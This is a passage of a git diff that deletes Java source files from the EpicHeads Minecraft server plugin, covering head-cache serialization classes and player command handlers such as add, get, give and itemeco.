com.songoda.epicheads.cache; - -import com.songoda.epicheads.EpicHeads; - -import java.io.*; -import java.util.ArrayList; -import java.util.Collections; -import java.util.List; -import java.util.Set; -import java.util.stream.Collectors; -import java.util.zip.GZIPInputStream; -import java.util.zip.GZIPOutputStream; - -public final class ModsFile { - - private final List mods = new ArrayList<>(); - - public ModsFile() { - this(Collections.emptyList()); - } - - public ModsFile(List mods) { - mods.forEach(this::addMod); - } - - public Set getModNames() { - return mods.stream().map(Mod::getName).collect(Collectors.toSet()); - } - - public void addMod(Mod newMod) { - for (Mod mod : mods) { - if (mod.getName().equalsIgnoreCase(newMod.getName())) - throw new IllegalArgumentException("There is already a mod with the name " + mod.getName()); - } - - mods.add(newMod); - } - - public int installMods(CacheFile cache) { - int headsBefore = cache.getHeadCount(); - - mods.forEach(cache::installMod); - - return cache.getHeadCount() - headsBefore; - } - - public void write(File file) throws IOException { - if (file.isDirectory()) - throw new IOException("File " + file + " is a directory"); - - if (!file.exists() && !file.createNewFile()) - throw new IOException("Unable to create file " + file); - - try (FileOutputStream stream = new FileOutputStream(file)) { - writeCompressed(stream); - } - } - - public void writeCompressed(OutputStream os) throws IOException { - try (GZIPOutputStream zos = new GZIPOutputStream(os); ObjectOutputStream stream = new ObjectOutputStream(zos)) { - - write(stream); - - stream.flush(); - } - } - - public void write(ObjectOutputStream stream) throws IOException { - ModsFileHeader header = new ModsFileHeader(getModNames()); - - header.write(stream); - - stream.writeInt(mods.size()); - for (Mod mod : mods) { - stream.writeInt(mod.getType().getId()); - - mod.write(stream); - } - } - - public static ModsFile readResource(String resource) throws IOException { - try (InputStream stream = EpicHeads.getInstance().getResource(resource)) { - return readCompressed(stream); - } - } - - public static ModsFile readCompressed(InputStream is) throws IOException { - try (GZIPInputStream zis = new GZIPInputStream(is); ObjectInputStream stream = new ObjectInputStream(zis)) { - - return read(stream); - } - } - - public static ModsFile read(ObjectInputStream stream) throws IOException { - ModsFileHeader header = ModsFileHeader.read(stream); - - switch (header.getVersion()) { - case 2: - return readVersion2(stream); - case 1: - return readVersion1(stream); - default: - throw new UnsupportedOperationException("Unknown mods file version " + header.getVersion()); - } - } - - private static ModsFile readVersion2(ObjectInputStream stream) throws IOException { - int modCount = stream.readInt(); - - List mods = new ArrayList<>(modCount); - for (int index = 0; index < modCount; ++index) { - int modTypeId = stream.readInt(); - Mod.ModType modType = Mod.ModType.getById(modTypeId); - - if (modType == null) - throw new UnsupportedOperationException("Unknown mod type " + modTypeId); - - mods.add(modType.read(stream)); - } - - return new ModsFile(mods); - } - - private static ModsFile readVersion1(ObjectInputStream stream) throws IOException { - int addonCount = stream.readInt(); - - List addons = new ArrayList<>(addonCount); - for (int index = 0; index < addonCount; ++index) { - addons.add(CacheFile.read(stream)); - } - - return new ModsFile(addons); - } - -} diff --git a/main/java/com/songoda/epicheads/cache/ModsFileHeader.java b/main/java/com/songoda/epicheads/cache/ModsFileHeader.java deleted file mode 100644 index 8003e44..0000000 --- a/main/java/com/songoda/epicheads/cache/ModsFileHeader.java +++ /dev/null @@ -1,82 +0,0 @@ -package com.songoda.epicheads.cache; - -import com.songoda.epicheads.EpicHeads; -import com.songoda.epicheads.util.IOUtils; - -import java.io.IOException; -import java.io.InputStream; -import java.io.ObjectInputStream; -import java.io.ObjectOutputStream; -import java.util.HashSet; -import java.util.Set; -import java.util.zip.GZIPInputStream; - -public class ModsFileHeader { - - private final int version; - private final Set modNames = new HashSet<>(); - - public ModsFileHeader(Set modNames) { - this(2, modNames); - } - - public ModsFileHeader(int version, Set modNames) { - this.version = version; - this.modNames.addAll(modNames); - } - - public int getVersion() { - return version; - } - - public Set getModNames() { - return modNames; - } - - public int getUninstalledMods(CacheFile cache) { - int newMods = 0; - - for (String mod : modNames) { - if (cache.hasMod(mod)) - continue; - - ++newMods; - } - - return newMods; - } - - public void write(ObjectOutputStream stream) throws IOException { - stream.writeInt(2); - - IOUtils.writeStringSet(stream, modNames); - } - - public static ModsFileHeader readResource(String resource) throws IOException { - try (InputStream stream = EpicHeads.getInstance().getResource(resource)) { - return readCompressed(stream); - } - } - - public static ModsFileHeader readCompressed(InputStream is) throws IOException { - try (GZIPInputStream zis = new GZIPInputStream(is); ObjectInputStream stream = new ObjectInputStream(zis)) { - - return read(stream); - } - } - - public static ModsFileHeader read(ObjectInputStream stream) throws IOException { - int version = stream.readInt(); - - switch (version) { - case 2: - case 1: - Set modNames = IOUtils.readStringSet(stream); - - return new ModsFileHeader(version, modNames); - default: - throw new UnsupportedOperationException("Unknown mods file version " + version); - } - } - -} diff --git a/main/java/com/songoda/epicheads/cache/PatchFile.java b/main/java/com/songoda/epicheads/cache/PatchFile.java deleted file mode 100644 index 19f5bcd..0000000 --- a/main/java/com/songoda/epicheads/cache/PatchFile.java +++ /dev/null @@ -1,127 +0,0 @@ -package com.songoda.epicheads.cache; - -import com.songoda.epicheads.EpicHeads; - -import java.io.*; -import java.util.ArrayList; -import java.util.Collections; -import java.util.List; -import java.util.zip.GZIPInputStream; -import java.util.zip.GZIPOutputStream; - -public class PatchFile implements Mod { - - private final String name; - private final List patches = new ArrayList<>(); - - public PatchFile(String name) { - this(name, Collections.emptyList()); - } - - public PatchFile(String name, List patches) { - this.name = name; - this.patches.addAll(patches); - } - - @Override - public String getName() { - return name; - } - - @Override - public Mod.ModType getType() { - return ModType.PATCH; - } - - public int getPatchCount() { - return patches.size(); - } - - public void addPatch(HeadPatch patch) { - patches.add(patch); - } - - @Override - public void applyMod(CacheFile cache) { - for (HeadPatch patch : patches) { - patch.applyPatch(cache); - } - } - - @Override - public String toString() { - return getType() + " {name: \"" + name + "\", patchCount: " + getPatchCount() + "}"; - } - - public void write(File file) throws IOException { - if (file.isDirectory()) - throw new IOException("File " + file + " is a directory"); - - if (!file.exists() && !file.createNewFile()) - throw new IOException("Unable to create file " + file); - - try (FileOutputStream stream = new FileOutputStream(file)) { - writeCompressed(stream); - } - } - - public void writeCompressed(OutputStream os) throws IOException { - try (GZIPOutputStream zos = new GZIPOutputStream(os); ObjectOutputStream stream = new ObjectOutputStream(zos)) { - - write(stream); - - stream.flush(); - } - } - - @Override - public void write(ObjectOutputStream stream) throws IOException { - stream.writeInt(2); - stream.writeUTF(name); - - stream.writeInt(patches.size()); - for (HeadPatch patch : patches) { - patch.write(stream); - } - } - - public static PatchFile read(File file) throws IOException { - if (file.isDirectory()) - throw new IOException("File " + file + " is a directory"); - - if (!file.exists()) - throw new IOException("File " + file + " does not exist"); - - try (FileInputStream stream = new FileInputStream(file)) { - return readCompressed(stream); - } - } - - public static PatchFile readResource(String resource) throws IOException { - try (InputStream stream = EpicHeads.getInstance().getResource(resource)) { - return readCompressed(stream); - } - } - - public static PatchFile readCompressed(InputStream is) throws IOException { - try (GZIPInputStream zis = new GZIPInputStream(is); ObjectInputStream stream = new ObjectInputStream(zis)) { - - return read(stream); - } - } - - public static PatchFile read(ObjectInputStream stream) throws IOException { - int version = stream.readInt(); - - String name = stream.readUTF(); - - int patchCount = stream.readInt(); - List patches = new ArrayList<>(patchCount); - for (int index = 0; index < patchCount; ++index) { - patches.add(HeadPatch.read(version, stream)); - } - - return new PatchFile(name, patches); - } - -} diff --git a/main/java/com/songoda/epicheads/cache/legacy/CacheFileConverter.java b/main/java/com/songoda/epicheads/cache/legacy/CacheFileConverter.java deleted file mode 100644 index 6b3166b..0000000 --- a/main/java/com/songoda/epicheads/cache/legacy/CacheFileConverter.java +++ /dev/null @@ -1,39 +0,0 @@ -package com.songoda.epicheads.cache.legacy; - -import com.songoda.epicheads.cache.CacheFile; -import com.songoda.epicheads.cache.CacheHead; -import com.songoda.epicheads.config.DefaultsConfigFile; - -import java.io.File; -import java.io.IOException; -import java.util.Arrays; -import java.util.HashSet; -import java.util.List; -import java.util.Set; -import java.util.stream.Collectors; - -public class CacheFileConverter { - - public static CacheFile convertToCacheFile(String name, LegacyCacheConfig config) { - Set addons = new HashSet<>(config.getAddons()); - addons.add("original"); - List heads = config.getHeads().stream().map(CacheFileConverter::convertToCacheHead).collect(Collectors.toList()); - return new CacheFile(name, addons, heads); - } - - public static CacheHead convertToCacheHead(LegacyCachedHead head) { - int id = head.getId(); - String name = head.getName(); - String texture = head.getTexture(); - String category = head.getCategory(); - List tags = Arrays.asList(head.getTags()); - double cost = head.getCost(); - return new CacheHead(id, name, category, texture, tags, cost); - } - - public static void convertResource(String name, String resource, File file) throws IOException { - LegacyCacheConfig addon = new LegacyCacheConfig(new DefaultsConfigFile(resource)); - convertToCacheFile(name, addon).write(file); - } - -} \ No newline at end of file diff --git a/main/java/com/songoda/epicheads/cache/legacy/LegacyCacheConfig.java b/main/java/com/songoda/epicheads/cache/legacy/LegacyCacheConfig.java deleted file mode 100644 index 0a6533b..0000000 --- a/main/java/com/songoda/epicheads/cache/legacy/LegacyCacheConfig.java +++ /dev/null @@ -1,64 +0,0 @@ -package com.songoda.epicheads.cache.legacy; - -import com.songoda.epicheads.config.ConfigFile; -import org.bukkit.configuration.ConfigurationSection; - -import java.util.*; - -public class LegacyCacheConfig { - - private final ConfigFile configFile; - - private List heads = new ArrayList<>(); - private Set addons = new HashSet<>(); - - public LegacyCacheConfig(ConfigFile configFile) { - this.configFile = configFile; - reload(); - } - - public Set getAddons() { - return addons; - } - - public List getHeads() { - return Collections.unmodifiableList(heads); - } - - public void reload() { - this.configFile.copyDefaults(); - this.configFile.reload(); - - ConfigurationSection config = this.configFile.getConfig(); - - this.addons = new HashSet<>(config.getStringList("addons")); - - this.heads.clear(); - - // Load all the heads from the legacy config file - int maxId = 0; - for (String key : config.getKeys(false)) { - if (!config.isConfigurationSection(key)) - continue; - - LegacyCachedHead head = new LegacyCachedHead(); - - head.load(config.getConfigurationSection(key)); - - if (!head.isValid()) - continue; - - heads.add(head); - - maxId = Math.max(maxId, head.getId()); - } - - // Give IDs to heads that need them - for (LegacyCachedHead head : heads) { - if (!head.hasId()) { - head.setId(++maxId); - } - } - } - -} diff --git a/main/java/com/songoda/epicheads/cache/legacy/LegacyCachedHead.java b/main/java/com/songoda/epicheads/cache/legacy/LegacyCachedHead.java deleted file mode 100644 index 66a29b4..0000000 --- a/main/java/com/songoda/epicheads/cache/legacy/LegacyCachedHead.java +++ /dev/null @@ -1,68 +0,0 @@ -package com.songoda.epicheads.cache.legacy; - -import org.bukkit.configuration.ConfigurationSection; - -public class LegacyCachedHead { - - private int id = -1; - private String category = ""; - private String name = ""; - private String texture = ""; - private String[] tags = {}; - private double cost = -1; - - public boolean isValid() { - return !this.name.isEmpty(); - } - - public boolean hasId() { - return this.id > 0; - } - - public int getId() { - return this.id; - } - - protected void setId(int id) { - this.id = id; - } - - public String getCategory() { - return this.category; - } - - public String getName() { - return this.name; - } - - public String getTexture() { - return this.texture; - } - - public String[] getTags() { - return this.tags; - } - - public double getCost() { - return cost; - } - - public void setCategory(String category) { - this.category = category; - } - - public void load(ConfigurationSection section) { - this.id = section.getInt("id", -1); - this.category = section.getString("category", "none"); - this.name = section.getString("name", ""); - this.texture = section.getString("texture", ""); - this.cost = section.getDouble("cost", -1d); - - if(section.isSet("tags") && section.isString("tags")) { - this.tags = new String[] {section.getString("tags")}; - } else if(section.isSet("tags") && section.isList("tags")) { - this.tags = section.getStringList("tags").toArray(new String[0]); - } - } - -} diff --git a/main/java/com/songoda/epicheads/command/AbstractCommand.java b/main/java/com/songoda/epicheads/command/AbstractCommand.java deleted file mode 100644 index 9a81709..0000000 --- a/main/java/com/songoda/epicheads/command/AbstractCommand.java +++ /dev/null @@ -1,41 +0,0 @@ -package com.songoda.epicheads.command; - -import com.songoda.epicheads.EpicHeads; -import org.bukkit.command.CommandSender; - -public abstract class AbstractCommand { - - public enum ReturnType { SUCCESS, FAILURE, SYNTAX_ERROR, NO_CONSOLE } - - private final AbstractCommand parent; - - private final String command; - - private final boolean noConsole; - - protected AbstractCommand(String command, AbstractCommand parent, boolean noConsole) { - this.command = command; - this.parent = parent; - this.noConsole = noConsole; - } - - public AbstractCommand getParent() { - return parent; - } - - public String getCommand() { - return command; - } - - public boolean isNoConsole() { - return noConsole; - } - - protected abstract ReturnType runCommand(EpicHeads instance, CommandSender sender, String... args); - - public abstract String getPermissionNode(); - - public abstract String getSyntax(); - - public abstract String getDescription(); -} diff --git a/main/java/com/songoda/epicheads/command/commands/CommandAdd.java b/main/java/com/songoda/epicheads/command/commands/CommandAdd.java deleted file mode 100644 index 0973301..0000000 --- a/main/java/com/songoda/epicheads/command/commands/CommandAdd.java +++ /dev/null @@ -1,88 +0,0 @@ -package com.songoda.epicheads.command.commands; - -import com.songoda.epicheads.EpicHeads; -import com.songoda.epicheads.cache.CacheHead; -import com.songoda.epicheads.command.AbstractCommand; -import com.songoda.epicheads.volatilecode.TextureGetter; -import org.bukkit.command.CommandSender; - -public class CommandAdd extends AbstractCommand { - - public CommandAdd(AbstractCommand parent) { - super("add", parent, false); - } - - @Override - protected ReturnType runCommand(EpicHeads instance, CommandSender sender, String... args) { - //ToDO: Test to make sure this works. - if (args.length < 3) { - return ReturnType.SYNTAX_ERROR; - } - - final String playerName = args[1]; - final String category = args[2]; - - final String name; - - if (args.length > 3) { - StringBuilder nameBuilder = new StringBuilder(); - for (int i = 3; i < args.length; i++) { - nameBuilder.append(' '); - nameBuilder.append(args[i]); - } - name = nameBuilder.toString().substring(1); - } else { - name = playerName; - } - - if (category.length() > 32) { - String[] parts = instance.getLocale().getMessage("command.add.categorylength", category, category.length()).split("\\|"); - for (String line : parts) - sender.sendMessage(line); - return ReturnType.FAILURE; - } - - String texture = TextureGetter.getCachedTexture(playerName); - - if (texture != null) { - add(instance, sender, category, name, playerName, texture); - } else { - sender.sendMessage(instance.getLocale().getMessage("command.add.fetching")); - TextureGetter.getTexture(playerName, (resolvedTexture) -> - add(instance, sender, category, name, playerName, resolvedTexture)); - } - return ReturnType.SUCCESS; - } - - public void add(EpicHeads instance, CommandSender sender, String category, String name, String playerName, String texture) { - if (texture == null || texture.isEmpty()) { - String[] parts = instance.getLocale().getMessage("command.add.cantfind", playerName).split("\\|"); - for (String line : parts) - sender.sendMessage(line); - return; - } - - CacheHead head = new CacheHead(name, category, texture); - - instance.getCache().addHead(head); - instance.saveCache(); - - sender.sendMessage(instance.getLocale().getMessage("command.add.added", name, category)); - } - - - @Override - public String getPermissionNode() { - return "epicheads.add"; - } - - @Override - public String getSyntax() { - return "/heads add [head name]"; - } - - @Override - public String getDescription() { - return "Add a new head to the menu."; - } -} diff --git a/main/java/com/songoda/epicheads/command/commands/CommandCategoryCost.java b/main/java/com/songoda/epicheads/command/commands/CommandCategoryCost.java deleted file mode 100644 index 5e2058b..0000000 --- a/main/java/com/songoda/epicheads/command/commands/CommandCategoryCost.java +++ /dev/null @@ -1,57 +0,0 @@ -package com.songoda.epicheads.command.commands; - -import com.songoda.epicheads.EpicHeads; -import com.songoda.epicheads.command.AbstractCommand; -import com.songoda.epicheads.oldmenu.mode.CategoryCostMode; -import com.songoda.epicheads.oldmenu.mode.InvModeType; -import org.bukkit.command.CommandSender; -import org.bukkit.entity.Player; - -public class CommandCategoryCost extends AbstractCommand { - - public CommandCategoryCost(AbstractCommand parent) { - super("remove", parent, true); - } - - @Override - protected ReturnType runCommand(EpicHeads instance, CommandSender sender, String... args) { - if (args.length != 2) { - return ReturnType.SYNTAX_ERROR; - } - if (args[1].equalsIgnoreCase("reset")) { - InvModeType.CATEGORY_COST_REMOVE.open((Player) sender); - return ReturnType.SUCCESS; - } - - //ToDo: Gross... - - double cost; - try { - cost = Double.valueOf(args[1]); - } catch (NumberFormatException e) { - sender.sendMessage(instance.getLocale().getMessage("command.error.number", args[1])); - return ReturnType.FAILURE; - } - if (cost < 0) { - sender.sendMessage(instance.getLocale().getMessage("command.error.negative", args[1])); - return ReturnType.FAILURE; - } - InvModeType.CATEGORY_COST.open((Player) sender).asType(CategoryCostMode.class).setCost(cost); - return ReturnType.SUCCESS; - } - - @Override - public String getPermissionNode() { - return "epicheads.category-cost"; - } - - @Override - public String getSyntax() { - return "/heads categorycost "; - } - - @Override - public String getDescription() { - return "Set heads costs by category."; - } -} \ No newline at end of file diff --git a/main/java/com/songoda/epicheads/command/commands/CommandCost.java b/main/java/com/songoda/epicheads/command/commands/CommandCost.java deleted file mode 100644 index 9d6beda..0000000 --- a/main/java/com/songoda/epicheads/command/commands/CommandCost.java +++ /dev/null @@ -1,53 +0,0 @@ -package com.songoda.epicheads.command.commands; - -import com.songoda.epicheads.EpicHeads; -import com.songoda.epicheads.command.AbstractCommand; -import com.songoda.epicheads.oldmenu.mode.CostMode; -import com.songoda.epicheads.oldmenu.mode.InvModeType; -import org.bukkit.command.CommandSender; -import org.bukkit.entity.Player; - -public class CommandCost extends AbstractCommand { - - public CommandCost(AbstractCommand parent) { - super("cost", parent, true); - } - - @Override - protected ReturnType runCommand(EpicHeads instance, CommandSender sender, String... args) { - if (args.length != 2) { - return ReturnType.SYNTAX_ERROR; - } - - double cost; - try { //ToDo: This is so gross. - cost = Double.valueOf(args[1]); - } catch (NumberFormatException e) { - sender.sendMessage(instance.getLocale().getMessage("command.error.number", args[1])); - return ReturnType.FAILURE; - } - - if (cost < 0) { - sender.sendMessage(instance.getLocale().getMessage("command.error.negative", args[1])); - return ReturnType.FAILURE; - } - - InvModeType.COST.open((Player) sender).asType(CostMode.class).setCost(cost); - //ToDo: Should probably be some form of success message. - return ReturnType.SUCCESS; - } - @Override - public String getPermissionNode() { - return "epicheads.id"; - } - - @Override - public String getSyntax() { - return "/heads cost "; - } - - @Override - public String getDescription() { - return "Set a heads cost in the menu."; - } -} diff --git a/main/java/com/songoda/epicheads/command/commands/CommandGet.java b/main/java/com/songoda/epicheads/command/commands/CommandGet.java deleted file mode 100644 index c5c3278..0000000 --- a/main/java/com/songoda/epicheads/command/commands/CommandGet.java +++ /dev/null @@ -1,73 +0,0 @@ -package com.songoda.epicheads.command.commands; - -import com.songoda.epicheads.EpicHeads; -import com.songoda.epicheads.cache.CacheHead; -import com.songoda.epicheads.command.AbstractCommand; -import com.songoda.epicheads.volatilecode.TextureGetter; -import org.bukkit.Bukkit; -import org.bukkit.command.CommandSender; -import org.bukkit.entity.Player; - -import java.util.UUID; - -public class CommandGet extends AbstractCommand { - - public CommandGet(AbstractCommand parent) { - super("get", parent, true); - } - - @Override - protected ReturnType runCommand(EpicHeads instance, CommandSender sender, String... args) { - if (args.length != 2) { - return ReturnType.SYNTAX_ERROR; - } - - String texture = TextureGetter.getCachedTexture(args[1]); - - if (texture != null) { - giveHead(instance, (Player) sender, args[1], texture); - return ReturnType.SUCCESS; - } - - sender.sendMessage(instance.getLocale().getMessage("command.add.fetching")); - - final UUID uuid = ((Player) sender).getUniqueId(); - final String name = args[1]; - - TextureGetter.getTexture(name, (resolvedTexture) -> { - giveHead(instance, Bukkit.getPlayer(uuid), name, resolvedTexture); - }); - return ReturnType.SUCCESS; - } - - private void giveHead(EpicHeads instance, Player player, String name, String texture) { - if (player != null) { - if (texture == null || texture.isEmpty()) { - player.sendMessage(instance.getLocale().getMessage("command.give.cantfindhead", name)); - return; - } - - CacheHead head = new CacheHead(name, "getcommand", texture); - - player.sendMessage(instance.getLocale().getMessage("command.get.success", name)); - player.getInventory().addItem(head.getItemStack()); - player.updateInventory(); - } - } - - - @Override - public String getPermissionNode() { - return "epicheads.get"; - } - - @Override - public String getSyntax() { - return "/heads get "; - } - - @Override - public String getDescription() { - return "Get a players head."; - } -} diff --git a/main/java/com/songoda/epicheads/command/commands/CommandGive.java b/main/java/com/songoda/epicheads/command/commands/CommandGive.java deleted file mode 100644 index 8352ed0..0000000 --- a/main/java/com/songoda/epicheads/command/commands/CommandGive.java +++ /dev/null @@ -1,89 +0,0 @@ -package com.songoda.epicheads.command.commands; - -import com.songoda.epicheads.EpicHeads; -import com.songoda.epicheads.cache.CacheHead; -import com.songoda.epicheads.command.AbstractCommand; -import org.bukkit.Bukkit; -import org.bukkit.command.CommandSender; -import org.bukkit.entity.Item; -import org.bukkit.entity.Player; -import org.bukkit.inventory.ItemStack; - -public class CommandGive extends AbstractCommand { - - public CommandGive(AbstractCommand parent) { - super("give", parent, false); - } - - @Override - protected ReturnType runCommand(EpicHeads instance, CommandSender sender, String... args) { - if (args.length != 4) { - return ReturnType.SYNTAX_ERROR; - } - - //ToDO: This is gross. - - int id; - try { - id = Integer.valueOf(args[1]); - } catch (NumberFormatException e) { - sender.sendMessage(instance.getLocale().getMessage("command.error.integer", args[1])); - return ReturnType.FAILURE; - } - - int amount; - try { - amount = Integer.valueOf(args[3]); - } catch (NumberFormatException e) { - sender.sendMessage(instance.getLocale().getMessage("command.give.invalidamount", args[3])); - return ReturnType.FAILURE; - } - - if (amount <= 0) { - sender.sendMessage(instance.getLocale().getMessage("command.give.invalidamount", args[3])); - } - - Player player = Bukkit.getPlayer(args[2]); - - if (player == null || !player.isOnline()) { - sender.sendMessage(instance.getLocale().getMessage("command.give.cantfindplayer", args[2])); - return ReturnType.FAILURE; - } - - CacheHead head = EpicHeads.getInstance().getCache().findHead(id); - - if (head == null) { - sender.sendMessage(instance.getLocale().getMessage("command.give.cantfindhead", id)); - return ReturnType.FAILURE; - } - - ItemStack headItem = head.getItemStack(); - for (int i = 0; i < amount; i++) { - if (player.getInventory().firstEmpty() != -1) { - player.getInventory().addItem(headItem.clone()); - } else { - Item item = player.getWorld().dropItemNaturally(player.getEyeLocation(), headItem.clone()); - item.setPickupDelay(0); - } - } - - sender.sendMessage(instance.getLocale().getMessage("command.give.success", amount, head.getName(), player.getName())); - return ReturnType.SUCCESS; - } - - - @Override - public String getPermissionNode() { - return "epicheads.give"; - } - - @Override - public String getSyntax() { - return "/heads itemeco give [amount]"; - } - - @Override - public String getDescription() { - return "Give the economy item to a player."; - } -} \ No newline at end of file diff --git a/main/java/com/songoda/epicheads/command/commands/CommandHand.java b/main/java/com/songoda/epicheads/command/commands/CommandHand.java deleted file mode 100644 index 5542c81..0000000 --- a/main/java/com/songoda/epicheads/command/commands/CommandHand.java +++ /dev/null @@ -1,111 +0,0 @@ -package com.songoda.epicheads.command.commands; - -import com.songoda.epicheads.EpicHeads; -import com.songoda.epicheads.cache.CacheHead; -import com.songoda.epicheads.command.AbstractCommand; -import com.songoda.epicheads.volatilecode.ItemNBT; -import com.songoda.epicheads.volatilecode.Items; -import com.songoda.epicheads.volatilecode.TextureGetter; -import org.bukkit.command.CommandSender; -import org.bukkit.entity.Player; -import org.bukkit.inventory.ItemStack; -import org.bukkit.inventory.meta.SkullMeta; - -public class CommandHand extends AbstractCommand { - - public CommandHand(AbstractCommand parent) { - super("hand", parent, true); - } - - @Override - protected ReturnType runCommand(EpicHeads instance, CommandSender sender, String... args) { - if (args.length < 3) { - return ReturnType.SYNTAX_ERROR; - } - - StringBuilder nameBuilder = new StringBuilder(); - for (int i = 2; i < args.length; i++) { - nameBuilder.append(' '); - nameBuilder.append(args[i]); - } - - String name = nameBuilder.toString().substring(1); - String category = args[1]; - - if (category.length() > 32) { - String[] parts = instance.getLocale().getMessage("command.add.categorylength", category, category.length()).split("\\|"); - for (String line : parts) - sender.sendMessage(line); - return ReturnType.FAILURE; - } - - Player player = (Player) sender; - - ItemStack hand = player.getInventory().getItemInHand(); - - if (!Items.isSkull(hand)) { - sender.sendMessage(instance.getLocale().getMessage("&cYou need to have a player skull in your hand to get its texture")); - return ReturnType.FAILURE; - } - - String texture = ItemNBT.getTextureProperty(hand); - - if (texture == null || texture.isEmpty()) { - sender.sendMessage(instance.getLocale().getMessage("command.hand.notextureproperty")); - - SkullMeta meta = (SkullMeta) hand.getItemMeta(); - - @SuppressWarnings("deprecation") - final String owner = meta.getOwner(); - - if (owner == null || owner.isEmpty()) { - sender.sendMessage(instance.getLocale().getMessage("command.hand.nonameproperty")); - return ReturnType.FAILURE; - } - - texture = TextureGetter.getCachedTexture(owner); - - if (texture == null || texture.isEmpty()) { - sender.sendMessage(instance.getLocale().getMessage("command.add.fetching")); - TextureGetter.getTexture(owner, (resolvedTexture) -> { - if (resolvedTexture == null || resolvedTexture.isEmpty()) { - sender.sendMessage(instance.getLocale().getMessage("command.add.cantfind")); - return; - } - - add(instance, sender, category, name, resolvedTexture); - }); - return ReturnType.SUCCESS; - } - } - - add(instance, sender, category, name, texture); - return ReturnType.SUCCESS; - } - - public void add(EpicHeads instance, CommandSender sender, String category, String name, String texture) { - CacheHead head = new CacheHead(name, category, texture); - - EpicHeads.getInstance().getCache().addHead(head); - EpicHeads.getInstance().saveCache(); - - sender.sendMessage(instance.getLocale().getMessage("command.add.added", name, category)); - } - - - - @Override - public String getPermissionNode() { - return "epicheads.hand"; - } - - @Override - public String getSyntax() { - return "/heads hand "; - } - - @Override - public String getDescription() { - return "Add a new head to the menu."; - } -} diff --git a/main/java/com/songoda/epicheads/command/commands/CommandHelp.java b/main/java/com/songoda/epicheads/command/commands/CommandHelp.java deleted file mode 100644 index 1d6f02e..0000000 --- a/main/java/com/songoda/epicheads/command/commands/CommandHelp.java +++ /dev/null @@ -1,43 +0,0 @@ -package com.songoda.epicheads.command.commands; - -import com.songoda.epicheads.EpicHeads; -import com.songoda.epicheads.command.AbstractCommand; -import com.songoda.epicheads.util.Methods; -import org.bukkit.command.CommandSender; - -public class CommandHelp extends AbstractCommand { - - public CommandHelp(AbstractCommand parent) { - super("help", parent, false); - } - - @Override - protected ReturnType runCommand(EpicHeads instance, CommandSender sender, String... args) { - sender.sendMessage(""); - sender.sendMessage(Methods.formatText(instance.getReferences().getPrefix() + "&7Version " + instance.getDescription().getVersion() + " Created with <3 by &5&l&oBrianna")); - - for (AbstractCommand command : instance.getCommandManager().getCommands()) { - if (command.getPermissionNode() == null || sender.hasPermission(command.getPermissionNode())) { - sender.sendMessage(Methods.formatText("&8 - &a" + command.getSyntax() + "&7 - " + command.getDescription())); - } - } - sender.sendMessage(""); - - return ReturnType.SUCCESS; - } - - @Override - public String getPermissionNode() { - return null; - } - - @Override - public String getSyntax() { - return "/heads help"; - } - - @Override - public String getDescription() { - return "Displays this page."; - } -} diff --git a/main/java/com/songoda/epicheads/command/commands/CommandId.java b/main/java/com/songoda/epicheads/command/commands/CommandId.java deleted file mode 100644 index 88fd93f..0000000 --- a/main/java/com/songoda/epicheads/command/commands/CommandId.java +++ /dev/null @@ -1,61 +0,0 @@ -package com.songoda.epicheads.command.commands; - -import com.songoda.epicheads.EpicHeads; -import com.songoda.epicheads.cache.CacheHead; -import com.songoda.epicheads.command.AbstractCommand; -import com.songoda.epicheads.volatilecode.ItemNBT; -import com.songoda.epicheads.volatilecode.Items; -import org.bukkit.ChatColor; -import org.bukkit.command.CommandSender; -import org.bukkit.entity.Player; -import org.bukkit.inventory.ItemStack; -import org.bukkit.inventory.meta.ItemMeta; - -public class CommandId extends AbstractCommand { - - public CommandId(AbstractCommand parent) { - super("id", parent, true); - } - - @Override - protected ReturnType runCommand(EpicHeads instance, CommandSender sender, String... args) { - Player player = (Player) sender; - - if (args.length != 1) { - return ReturnType.SYNTAX_ERROR; - } - - ItemStack hand = player.getInventory().getItemInHand(); - if (!Items.isSkull(hand)) { - sender.sendMessage(instance.getLocale().getMessage("command.id.holdskull")); - return ReturnType.FAILURE; - } - - String texture = ItemNBT.getTextureProperty(hand); - CacheHead head = EpicHeads.getInstance().getCache().findHeadByTexture(texture); - if (head == null) { - ItemMeta meta = hand.getItemMeta(); - String name = ChatColor.stripColor(meta.hasDisplayName() ? meta.getDisplayName() : ""); - sender.sendMessage(instance.getLocale().getMessage("command.id.unknownhead", name)); - return ReturnType.FAILURE; - } - - sender.sendMessage(instance.getLocale().getMessage("command.id.success", head.getName(), head.getId())); - return ReturnType.SUCCESS; - } - - @Override - public String getPermissionNode() { - return "epicheads.id"; - } - - @Override - public String getSyntax() { - return "/heads id"; - } - - @Override - public String getDescription() { - return "Get the ID for a player head."; - } -} diff --git a/main/java/com/songoda/epicheads/command/commands/CommandItemEco.java b/main/java/com/songoda/epicheads/command/commands/CommandItemEco.java deleted file mode 100644 index beeba26..0000000 --- a/main/java/com/songoda/epicheads/command/commands/CommandItemEco.java +++ /dev/null @@ -1,157 +0,0 @@ -package com.songoda.epicheads.command.commands; - -import com.songoda.epicheads.EpicHeads; -import com.songoda.epicheads.command.AbstractCommand; -import com.songoda.epicheads.menu.ui.item.Item; -import org.bukkit.Bukkit; -import org.bukkit.command.CommandSender; -import org.bukkit.entity.Player; -import org.bukkit.inventory.ItemStack; -import sun.management.Sensor; - -public class CommandItemEco extends AbstractCommand { - - public CommandItemEco(AbstractCommand parent) { - super("itemeco", parent, true); - } - - @Override - protected ReturnType runCommand(EpicHeads instance, CommandSender sender, String... args) { - if (args.length < 2) { - return ReturnType.SYNTAX_ERROR; - } - - if (args[1].equalsIgnoreCase("give")) { - return onGiveCommand(instance, sender, args); - } - - Player player = (Player) sender; //ToDo: This is wrong. - - if (args[1].equalsIgnoreCase("set")) { - return onSetCommand(instance, player, args); - } - - if (args[1].equalsIgnoreCase("get")) { - return onGetCommand(instance, player, args); - } - - return ReturnType.SYNTAX_ERROR; - } - - private ReturnType onSetCommand(EpicHeads instance, Player player, String[] args) { - if (args.length != 2) { - return ReturnType.SYNTAX_ERROR; - } - - @SuppressWarnings("deprecation") - // Had to do this to resolve the compatibility issue with 1.13. - ItemStack itemStack = player.getInventory().getItemInHand(); - - if (itemStack == null) { - player.sendMessage(instance.getLocale().getMessage("command.itemeco.noitem")); - return ReturnType.FAILURE; - } - - Item item = Item.create(itemStack).amount(1); - - EpicHeads.getInstance().getMainConfig().setItemEcoItem(item); - - player.sendMessage(instance.getLocale().getMessage("command.itemeco.set")); - return ReturnType.SUCCESS; - } - - private ReturnType onGetCommand(EpicHeads instance, Player player, String[] args) { - if (args.length != 2 && args.length != 